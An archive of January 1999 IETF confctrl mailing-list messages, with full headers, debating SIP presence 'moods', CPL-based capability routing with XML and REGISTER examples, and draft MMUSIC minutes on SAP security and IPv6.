Received: from THOR.INNOSOFT.COM (SYSTEM@THOR.INNOSOFT.COM [192.160.253.66])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA13467
	for <confctrl@isi.edu>; Wed, 6 Jan 1999 16:21:42 -0800 (PST)
Received: from korova ([192.160.253.25]) by INNOSOFT.COM (PMDF V5.2-29 #30494)
 with SMTP id <01J6868IHTJQ8ZEP1U@INNOSOFT.COM> for confctrl@isi.edu; Wed,
 6 Jan 1999 16:20:38 PST
Date: Wed, 06 Jan 1999 16:20:30 -0800
From: Peter Coates <peter.coates@INNOSOFT.COM>
Subject: sip-pip status
To: confctrl@ISI.EDU
Message-id: <01c301be39d3$897f3310$19fda0c0@korova.innosoft.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V4.72.3110.3
X-Mailer: Microsoft Outlook Express 4.72.3110.5
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
X-Priority: 3
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The current sip-pip draft does not contain anything to indicate a potential
recipient's willingness to engage in particular forms of communication.
For some types of communication (eg email) the recipient's state is not
particularly of relevance, although "on vacation back on the 4th" might be
useful, even if it conveys information some people might not be willing to
divulge.

For instant messaging, on the other hand, there may be several states.  ICQ,
for instance, has 9:

offline,
invisible,
Do not disturb
occupied
not available
away
free for chat
available
available for random chat.

I am not suggesting that we slavishly follow this model, but it is clearly
useful to the person intending to send a message to know how much of an
intrusion the message would be as well as whether or not the message will
actually get through.  Indeed the ICQ information is confused about
availability (online/offline) and mood (available/occupied/do not disturb).

I would suggest that the status for a recipient in a pip server has to
contain contact location, contact status, and contact "mood".  Further that
this information be considered the base information on which the information
reported back to a subscriber be based: obviously one wants to be able to
lie to chosen subscribers about mood or status (or location).

Given this, and that mood is likely to change at least as often as status
(and more often than location), I would suggest that the use of the sip
contact: header is inadequate for the purpose, and that it is imperative
that the putative "text/presence" mime type be defined.

As an aside, why the different languages for Call processing
(ietf-iptel-cpl-requirements-00.txt and email filtering
(draft-showalter-sieve-04.txt)?  It seems to me that the basic requirements
are similar.

Peter Coates.






From confctrl-owner  Wed Jan  6 22:30:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA09372
	for confctrl-outgoing; Wed, 6 Jan 1999 22:30:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA09367
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jan 1999 22:30:04 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA02176
	for <confctrl@isi.edu>; Wed, 6 Jan 1999 22:30:01 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Jan  7 01:28:39 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.185.217.87])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA22163;
	Thu, 7 Jan 1999 01:28:36 -0500 (EST)
Message-ID: <369453D4.204B6D44@dnrc.bell-labs.com>
Date: Thu, 07 Jan 1999 01:27:32 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@mci.com>
CC: Conference Control List <confctrl@ISI.EDU>,
        list iptel <iptel@lists.research.bell-labs.com>
Subject: Re: Capability-based routing in SIP
References: <001701be39c3$e0d1bbc0$67e323a6@dwillispc3.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:
> 

> I could perhaps work around this problem by defining a different
> username for each device, associating capabilities with usernames in my
> ULS configuration, but this seems rather a complex kludge.
> 
> To summarize the issues:
> 
> 1) Capability-based routing seems to require parsing the SDP to decide
> what the session type is. This is problematic for fast setups.

Not really. Parsing SDP is pretty fast when you don't need everything;
just quickly read through the lines until you find the m= lines, and
look for fax, audio, video, or whatever.


> Am I missing something obvious here, or do we really need a richer
> capability description and handling mechanism to handle these scenarios?

This is an excellent point, Dean. The right way to handle this becomes
clearer when you extend the requirements a bit more. What you are asking
for is that a user should be able to direct the call routing of a proxy.
In this case, its based on the SDP in the INVITE. More generally, it
might be based on time of day, caller, subject, method, etc. SO, how do
we devise a means for allowing a user to instruct a SIP server on call
routing? The answer is the call processing language in iptel! It is for
exactly this purpose. I think what you have come up with is another
requirement as input for the language:

<switch index="media">
  <case value="fax">
    <proxy dest="sip:faxaddress@mci.com"/>
  </case>

  <case value="video">
    <proxy dest="sip:videoaddress@mci.com"/>
  </case>

</switch>

You would then upload the CPL to the server in the REGISTER message.

Conceivably, a REGISTER message could contain SDP, in which case the
registrar would interpret it as a capabilities description for call
routing. Its messy, but it works and this is what pint is doing. It
quickly breaks down when you want to add other routing logic, in which
case the CPL is clearly a better choice.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jan  6 23:16:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA11187
	for confctrl-outgoing; Wed, 6 Jan 1999 23:16:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA11182
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jan 1999 23:16:04 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA04156
	for <confctrl@isi.edu>; Wed, 6 Jan 1999 23:16:03 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Jan  7 02:14:47 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.185.217.87])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id CAA22741;
	Thu, 7 Jan 1999 02:14:44 -0500 (EST)
Message-ID: <36945EA4.8414B66@dnrc.bell-labs.com>
Date: Thu, 07 Jan 1999 02:13:40 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Peter Coates <peter.coates@innosoft.com>
CC: confctrl@ISI.EDU, impp@iastate.edu
Subject: Re: sip-pip status
References: <01c301be39d3$897f3310$19fda0c0@korova.innosoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

First off, confctrl is the wrong list for this discussion. Presence and
instant messaging are being disussed on the impp list, which I have
cc'ed. In addition, the impp work is not yet at the point for details
like those you mention below. They are currently working through privacy
and security requirements.

Peter Coates wrote:
> 
> The current sip-pip draft does not contain anything to indicate a potential
> recipient's willingness to engage in particular forms of communication.
> For some types of communication (eg email) the recipient's state is not
> particularly of relevance, although "on vacation back on the 4th" might be
> useful, even if it conveys information some people might not be willing to
> divulge.
> 
> For instant messaging, on the other hand, there may be several states.  ICQ,
> for instance, has 9:
> 
> offline,
> invisible,
> Do not disturb
> occupied
> not available
> away
> free for chat
> available
> available for random chat.
> 
> I am not suggesting that we slavishly follow this model, but it is clearly
> useful to the person intending to send a message to know how much of an
> intrusion the message would be as well as whether or not the message will
> actually get through.  Indeed the ICQ information is confused about
> availability (online/offline) and mood (available/occupied/do not disturb).

I personally don't see a lot of value in these moods; I can either
contact you or I cannot. Whether its because you've turned on "Do not
disturb" or "occupied" is irrelevant. But, I see why some people like
it, and in one of my slides (but maybe not in the pip-sip draft), I
mention the use of a Contact attribute for this:

Contact: <im:jdrosen@bell-labs.com>;mood="DO Not Disturb"

Easy enough.

> 
> I would suggest that the status for a recipient in a pip server has to
> contain contact location, contact status, and contact "mood".  Further that
> this information be considered the base information on which the information
> reported back to a subscriber be based: obviously one wants to be able to
> lie to chosen subscribers about mood or status (or location).
> 
> Given this, and that mood is likely to change at least as often as status
> (and more often than location), I would suggest that the use of the sip
> contact: header is inadequate for the purpose, and that it is imperative
> that the putative "text/presence" mime type be defined.

The draft mentions (I think) that the Contact headers are a simple form
of presence. More complex stuff that would possibly require
text/presence should use text/presence. But, I don't see "moods" as the
killer motivator for a complex presence format. Things like "I'm
available by email from 2pm to 4pm if its urgent, otherwise phone" are
clearly unrealizable with the Contact header and those will likely
require the format.

Defining the presence format is one of the things on the current impp
charter, I believe.

> 
> As an aside, why the different languages for Call processing
> (ietf-iptel-cpl-requirements-00.txt and email filtering
> (draft-showalter-sieve-04.txt)?  It seems to me that the basic requirements
> are similar.

This issue belongs neither on confctrl or impp, but rather iptel
(iptel@lists.research.bell-labs.com). I would recommend you start a
thread there if you want.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jan  7 09:43:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA02320
	for confctrl-outgoing; Thu, 7 Jan 1999 09:43:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA02315
	for <confctrl@zephyr.isi.edu>; Thu, 7 Jan 1999 09:43:37 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA26581
	for <confctrl@ISI.EDU>; Thu, 7 Jan 1999 09:43:36 -0800 (PST)
Received: from omta4.mcit.com (omta4.mcit.com [166.37.204.6])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id RAA09153; Thu, 7 Jan 1999 17:40:24 GMT
Received: from dwillispc3 ([166.35.227.103]) by omta4.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990107171515.PIES18494@dwillispc3>;
          Thu, 7 Jan 1999 11:15:15 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
Cc: "Conference Control List" <confctrl@ISI.EDU>,
        "list iptel" <iptel@lists.research.bell-labs.com>
Subject: RE: Capability-based routing in SIP
Date: Thu, 7 Jan 1999 11:13:39 -0600
Message-ID: <000e01be3a61$11a1aec0$67e323a6@dwillispc3.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <369453D4.204B6D44@dnrc.bell-labs.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Jonathan Rosenberg wrote
> Dean Willis wrote:
> > Am I missing something obvious here, or do we really need a richer
> > capability description and handling mechanism to handle
> these scenarios?
. . .
> requirement as input for the language (CPL):
>
> <switch index="media">
>   <case value="fax">
>     <proxy dest="sip:faxaddress@mci.com"/>
>   </case>
>
>   <case value="video">
>     <proxy dest="sip:videoaddress@mci.com"/>
>   </case>
>
> </switch>
>
> You would then upload the CPL to the server in the REGISTER message.

A very thought provoking suggestion, Jonathan.

Adding the media type to the CPL certainly enables user-controlled media
routing and sounds like a reasonable way to handle it. Of course, my
server developer friends here don't like the idea of having to interpret
code to route a call -- they think in fairly large scales -- but the
basic idea is sound. They have decided that parsing the SDP is probably
required and are willing to think about it.

However, uploading the CPL in the REGISTER doesn't sound reasonable --
that would seem to require every dynamic device to know enough of the
state of other dynamic devices to be able to construct a full CPL. This
is clearly intractable in larger scenarios.

We rather envision the ULS call routing setup being managed from a user
interface -- Web and/or IVR, and letting SIP endpoints have a more
"incremental" impact on routing.

It might be more effective to have the CPL (or other mechanism) direct
the sessions to a "class" of endpoints based on capability, perhaps with
some sort of priority weighting within the class (q?). Then an endpoint
would simply need to include enough information in a REGISTER that the
ULS could add the endpoint to the correct class with an appropriate
priority. One could build the class as a priority-ordered list of URIs,
which would be useful for both sequential redirects and forking proxies.

I believe one could implement the scenarios I had in mind with this sort
of arrangement.

The trick, though, becomes defining the set of classes, and specifying
the REGISTER mechanism for class membership. I think I wish I could do
it all in the Contact header of the REGISTER. Perhaps there is some meat
to Dan Wing's suggestion that the CONNEG WG's work will help here --
guess I need to go read it ;-).

On a related note -- I'm thinking that some of this behaviour collides
with the current draft (sec 4.2.6), which states that the REGISTERS's
URI is compared to existing registrations, and replaces equivalent
current registrations subject to values of q and ttl. Oddly enough, the
behavior for a REGISTER of equivalent URI with matching q and ttl seems
undefined. The real problem here is that a registration for class FAX
would collide with (and replace) a registration for class VOICE if the q
and ttls matched . . .

--
Dean


From confctrl-owner  Thu Jan  7 17:20:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA21606
	for confctrl-outgoing; Thu, 7 Jan 1999 17:20:55 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA21600
	for <confctrl@zephyr.isi.edu>; Thu, 7 Jan 1999 17:20:51 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA01683
	for <confctrl@ISI.EDU>; Thu, 7 Jan 1999 17:20:50 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id UAA08391;
	Thu, 7 Jan 1999 20:20:46 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id UAA04138;
	Thu, 7 Jan 1999 20:20:44 -0500 (EST)
Message-ID: <36955D6C.82296999@cs.columbia.edu>
Date: Thu, 07 Jan 1999 20:20:44 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Dean Willis <Dean.Willis@mci.com>,
        Conference Control List <confctrl@ISI.EDU>,
        list iptel <iptel@lists.research.bell-labs.com>
Subject: Re: Capability-based routing in SIP
References: <001701be39c3$e0d1bbc0$67e323a6@dwillispc3.mcit.com> <369453D4.204B6D44@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 

> 
> You would then upload the CPL to the server in the REGISTER message.

Or it would be generated automatically by the cgi script or servlet
running on the customer configuration web server. It remains to be
discussed whether CPL scripts can be generated incrementally, so that
one could just upload a "media subroutine".

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Jan  7 23:10:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA03118
	for confctrl-outgoing; Thu, 7 Jan 1999 23:10:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA03113
	for <confctrl@zephyr.isi.edu>; Thu, 7 Jan 1999 23:10:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA17969
	for <confctrl@isi.edu>; Thu, 7 Jan 1999 23:10:01 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri Jan  8 02:09:24 EST 1999
Received: from dnrc.bell-labs.com ([135.17.200.52])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id CAA19658;
	Fri, 8 Jan 1999 02:09:20 -0500 (EST)
Message-ID: <3695AEE0.65145616@dnrc.bell-labs.com>
Date: Fri, 08 Jan 1999 02:08:16 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: Conference Control List <confctrl@ISI.EDU>,
        list iptel <iptel@lists.research.bell-labs.com>
Subject: Re: Capability-based routing in SIP
References: <000e01be3a61$11a1aec0$67e323a6@dwillispc3.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:
> 
> Adding the media type to the CPL certainly enables user-controlled media
> routing and sounds like a reasonable way to handle it. Of course, my
> server developer friends here don't like the idea of having to interpret
> code to route a call -- they think in fairly large scales -- but the
> basic idea is sound. They have decided that parsing the SDP is probably
> required and are willing to think about it.

You don't neccesarily need to interpret the code to route the call.
Thats an implementation decision. An optimizied implementation might
"compile" it in some fashion or otherwise store it locally in a more
optimized form. There are ways to even push the CPL processing into
separate boxes from the SIP processing and proxying box. iptel is not
going to standardize such interfaces right now, but its not such a
stretch to see how SIP CGI or even an IN call-model/INAP solution could
work there.

> 
> However, uploading the CPL in the REGISTER doesn't sound reasonable --
> that would seem to require every dynamic device to know enough of the
> state of other dynamic devices to be able to construct a full CPL. This
> is clearly intractable in larger scenarios.

I have been thinking about this also, in fact, and came to the same
conclusion. The fundamental problem is that the SIP REGISTER message, as
currently specified, is a *terminal* registration function (i.e., it
specifies call routing state for just a terminal), while the CPL
specifies a *user* registration function, potentially encapsulating many
terminals. I came up with several scenarios where the wrong thing
happens, forgetting even the scaling and communications issues:

I'm at home, and upload a CPL in a REGISTER that says to try me at home
then work. I then go to work, and leave the PC at home on. At work, I
send a CPL which says try me at work then home. Now, since REGISTER's
are retransmitted periodically (before they expire), the call routing
logic will oscillate between home-then-work and work-then-home as my
home and work PC's both continue to refresh the registration.

This begs an important question - should a CPL be "soft-state" and
eventually expire? A SIP REGISTER certainly should; a terminal may be
turned off and thus no longer be available. But, the CPL isn't really
representing a terminal, they are my preferences. The expiration of
these preferences doesn't really seem tied to terminal on/off status.
They may expire since the service provider may want to flush out really
old stuff. But, the timescales here seem very different - weeks probably
for a CPL timeout, if it times out at all.


> 
> We rather envision the ULS call routing setup being managed from a user
> interface -- Web and/or IVR, and letting SIP endpoints have a more
> "incremental" impact on routing.

As Henning pointed out, the web/IVR could then generate the CPL and then
send it. The advantage of using the CPL in the back-end is that it
provides a consistent interface for the call routing logic. Whether the
logic is generated by a web form, IVR system, or written by a user, its
all the same. It also supports cross-vendor compatibility for these
services.

> 
> It might be more effective to have the CPL (or other mechanism) direct
> the sessions to a "class" of endpoints based on capability, perhaps with
> some sort of priority weighting within the class (q?). Then an endpoint
> would simply need to include enough information in a REGISTER that the
> ULS could add the endpoint to the correct class with an appropriate
> priority. One could build the class as a priority-ordered list of URIs,
> which would be useful for both sequential redirects and forking proxies.

I think what you mean is something like this:

<condition day="monday">

   <match>
      <proxy dest=phone>
   </match>

   <nomatch>
      <proxy dest=home-pc>
   </nomatch>

</condition>

Then, a SIP REGISTER from my home PC would effectively bind the "class"
home to the URL in the COntact of the register. Is that what you mean?

> 
> I believe one could implement the scenarios I had in mind with this sort
> of arrangement.
> 
> The trick, though, becomes defining the set of classes, and specifying
> the REGISTER mechanism for class membership. I think I wish I could do
> it all in the Contact header of the REGISTER. Perhaps there is some meat
> to Dan Wing's suggestion that the CONNEG WG's work will help here --
> guess I need to go read it ;-).

Hmm. Your suggestion is a neat idea, but it changes the way REGISTER
works. I don't think you need to do it quite this way. How about this:

1. The CPL is like it is now, and forwards to URI's (like
sip:jdrosen@bell-labs.com). 
2. When a server decides to forward a call to sip:jdrosen@bell-labs.com,
it can either (1) attempt to look up the domain name and locate a server
there, or (2) try to translate sip:jdrosen@bell-labs.com using
information learned from REGISTER's or any other locator service (really
REGISTER is a way of building up a location service DB). THe CPL could
specify which.

I think this solves your problem. An example will help. My CPL is:

<condition day="monday">
  <match>
    <proxy dest="sip:jdrosen@home.bell-labs.com uls="register">
  </match>

  <nomatch>
    <proxy dest="sip:jdrosen@arrakis.dnrc.bell-labs.com">
  </nomatch>
</condition>

This could be uploaded in a REGISTER, but the semantics of it (in terms
of updating Contact headers, etc) would be different due to the presence
of the body.

What this says is that when its Monday, I proxy the call to
sip:jdrosen@home.bell-labs.com, but before I do, I try to translate this
URL using the REGISTER locator service. Now, I'll need to configure my
PC at home to send a SIP REGISTER message that looks like:

REGISTER sip:bell-labs.com SIP/2.0
To: sip:jdrosen@home.bell-labs.com
From: sip:jdrosen@bell-labs.com
Contact: sip:jdrosen@home-pc.dnrc.bell-labs.com

So, the REGISTER message binds the URL sip:jdrosen@home.bell-labs.com to
the current address of my home PC. Basically, instead of defining new
classes, we use different SIP addresses as different classes.

No solution is perfect; this one might be harder to configure and be
less intuitive. Also, it sort of distorts the meaning of the SIP URI in
a way that makes me a bit queasy (home.bell-labs.com is a completely
invalid domain name and only exists as an intermediate address) But, it
maintains the current REGISTER semantics since they are what they are. 

I'm open to other suggestions, of course. These issues are critical for
the CPL framework document, since that will need to discuss
transport/interaction issues and its interaction with signaling
protocols like SIP and H.323.
 
> 
> On a related note -- I'm thinking that some of this behaviour collides
> with the current draft (sec 4.2.6), which states that the REGISTERS's
> URI is compared to existing registrations, and replaces equivalent
> current registrations subject to values of q and ttl. Oddly enough, the
> behavior for a REGISTER of equivalent URI with matching q and ttl seems
> undefined. The real problem here is that a registration for class FAX
> would collide with (and replace) a registration for class VOICE if the q
> and ttls matched . . .

You won't have this problem with my solution above since the URL's look
different.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Jan  8 15:08:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA05610
	for confctrl-outgoing; Fri, 8 Jan 1999 15:08:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA05581
	for <confctrl@zephyr.isi.edu>; Fri, 8 Jan 1999 15:08:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA14030
	for <confctrl@isi.edu>; Fri, 8 Jan 1999 15:08:01 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri Jan  8 18:07:42 EST 1999
Received: from delaware.dnrc.bell-labs.com (delaware.dnrc.bell-labs.com [135.180.240.27])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id SAA08036;
	Fri, 8 Jan 1999 18:07:39 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by delaware.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id SAA02353; Fri, 8 Jan 1999 18:07:39 -0500 (EST)
Message-ID: <36968FBB.8E0AE581@cs.columbia.edu>
Date: Fri, 08 Jan 1999 18:07:39 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.6 sun4u)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Dean Willis <Dean.Willis@mci.com>,
        Conference Control List <confctrl@ISI.EDU>,
        list iptel <iptel@lists.research.bell-labs.com>
Subject: Re: Capability-based routing in SIP
References: <000e01be3a61$11a1aec0$67e323a6@dwillispc3.mcit.com> <3695AEE0.65145616@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This raises, I believe, a possible requirement/feature for the CPL:

It should be possible to proxy calls based on the current list of
registrations matching a certain feature. The call control spec, for
example, defines the 'class' and 'media' tags for describing SIP
locations. Thus, a request like

'proxy class=business'

would proxy an incoming call to all registrations that are registered
under that class. Same for the media type; this would avoid parsing the
SDP and be more uniform. Note that the feature negotiation work (see
recent IETF last call) may be applicable here, as the simple model above
can't really express things like:

'proxy to all my registrations that are of class business and support
video or audio'

Note that this is different from conditioning actions on the call
itself, as currently described.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Sun Jan 10 15:41:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA15011
	for confctrl-outgoing; Sun, 10 Jan 1999 15:41:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA15006
	for <confctrl@zephyr.isi.edu>; Sun, 10 Jan 1999 15:41:00 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (root@bettina.informatik.uni-bremen.de [134.102.224.3] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA24646;
	Sun, 10 Jan 1999 15:40:50 -0800 (PST)
Received: from dickmann.informatik.uni-bremen.de (ruin.informatik.uni-bremen.de [134.102.200.36])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id AAA13811;
	Mon, 11 Jan 1999 00:40:12 +0100 (MET)
Message-Id: <Version.32.19990111002223.01164b70@127.0.0.1>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Mon, 11 Jan 1999 00:28:44 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
Subject: Draft MMUSIC minutes
Cc: Vern Paxson <vern@ee.lbl.gov>, rlang@sri.com, schooler@cs.caltech.edu,
        mjh@ISI.EDU, sob@harvard.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

attached are the draft MMUSIC minutes of the Orlando IETF.
Please let us know quickly if there are any comments/corrections as we
would like to submit them on Monday.

Joerg

---------------------------------------------------------------------------

MMUSIC MINUTES, ORLANDO IETF
============================
prepared by Mark Handley and Joerg Ott

MMUSIC met once at the Orlando IETF.

Internet Multimedia Conferencing Architecture
---------------------------------------------
Mark Handley briefly reported on the (currently expired) I-D on the
Conferencing Architecture -- this draft has been updated, and will be
resubmitted to the I-D archive shortly after the IETF.  The authors
plan to issue WG last call on this for Informational RFC in January.


SAP and SAP Security
--------------------
Mark Handley presented the status of SAP and the SAP security draft.
The SAP and the SAP Security specifications have been merged into a
single document.  Two major issues arose with respect to the use of
encryption within SAP:

* There has been disagreement between the authors on the use of public
  key encryption algorithms in a mode that effectively turns them into
  symmetric algorithms.  The arguments for and against this were
  presented in the hope of getting consensus from the group.  Little
  feedback was forthcoming.

* Also, there was the more fundamental issue of whether encryption of
  SAP announcements should be supported at all; the motivation for not
  supporting encryption would be to discourage people from misusing SAP
  to announce small private sessions to a potentially large audience;
  instead different mechanisms should be used.  The following discussion
  showed various scenarios that would warrant keeping encryption of
  session announcements.  The group consensus was to at least keep the
  use of symmetric encryption algorithms for now and to allow for future
  extensions to include other algorithms as well.
  [It was also pointed out that some key participants were not able to
   attend the meeting, and hence a follow up discussion on this second
   issue would be taken on the mailing list.]


SAP and IPv6
------------
Colin Perkins presented a modified version of SAP that can support
IPv6.  SAP announcements containing IPv6 addresses are identified by
taking one bit of the MT field to indicate the address type.  The IPv6
SAP address to be used is FF0X:0:0:0:0:0:2:7FFE with X being the four
bit scope value as defined for IPv6.  Along with various scopes, the
proposal also defines bandwidth limitation for SAP traffic.

In his presentation, Colin also addressed the issue of supporting
multiple payload types in SAP, to be identified by a MIME
"Content-Type:" header at the start of the SAP payload
("application/sdp" would be used for SDP payloads but would also allow
for non-SDP payload (e.g. SMIL).  Such a mechanism would also be used
to allow fragmentation of SDP announcements.  On the other side, it
adds complexity and might hinder interoperability.  There was
contentious discussion in the group on the tradeoff between
flexibility and interoperability; no consensus was reached.

A general issue raised by Colin was how to allow joining
e.g. multimedia streaming sessions from a web page.  The proposal is
to reference a SAP announcement (e.g. held in a local cache).  The
corresponding SAP URL could be composed of the announcement
originator's source address and its locally assigned message id
fields; e.g. "sap://128.16.64.45/1234".  A number of people noted that
most current implementations don't correctly fill in the appropriate
SAP header fields, so there may be a deployment problem.  Apart from
this, the (little) feedback received was positive about the concept.
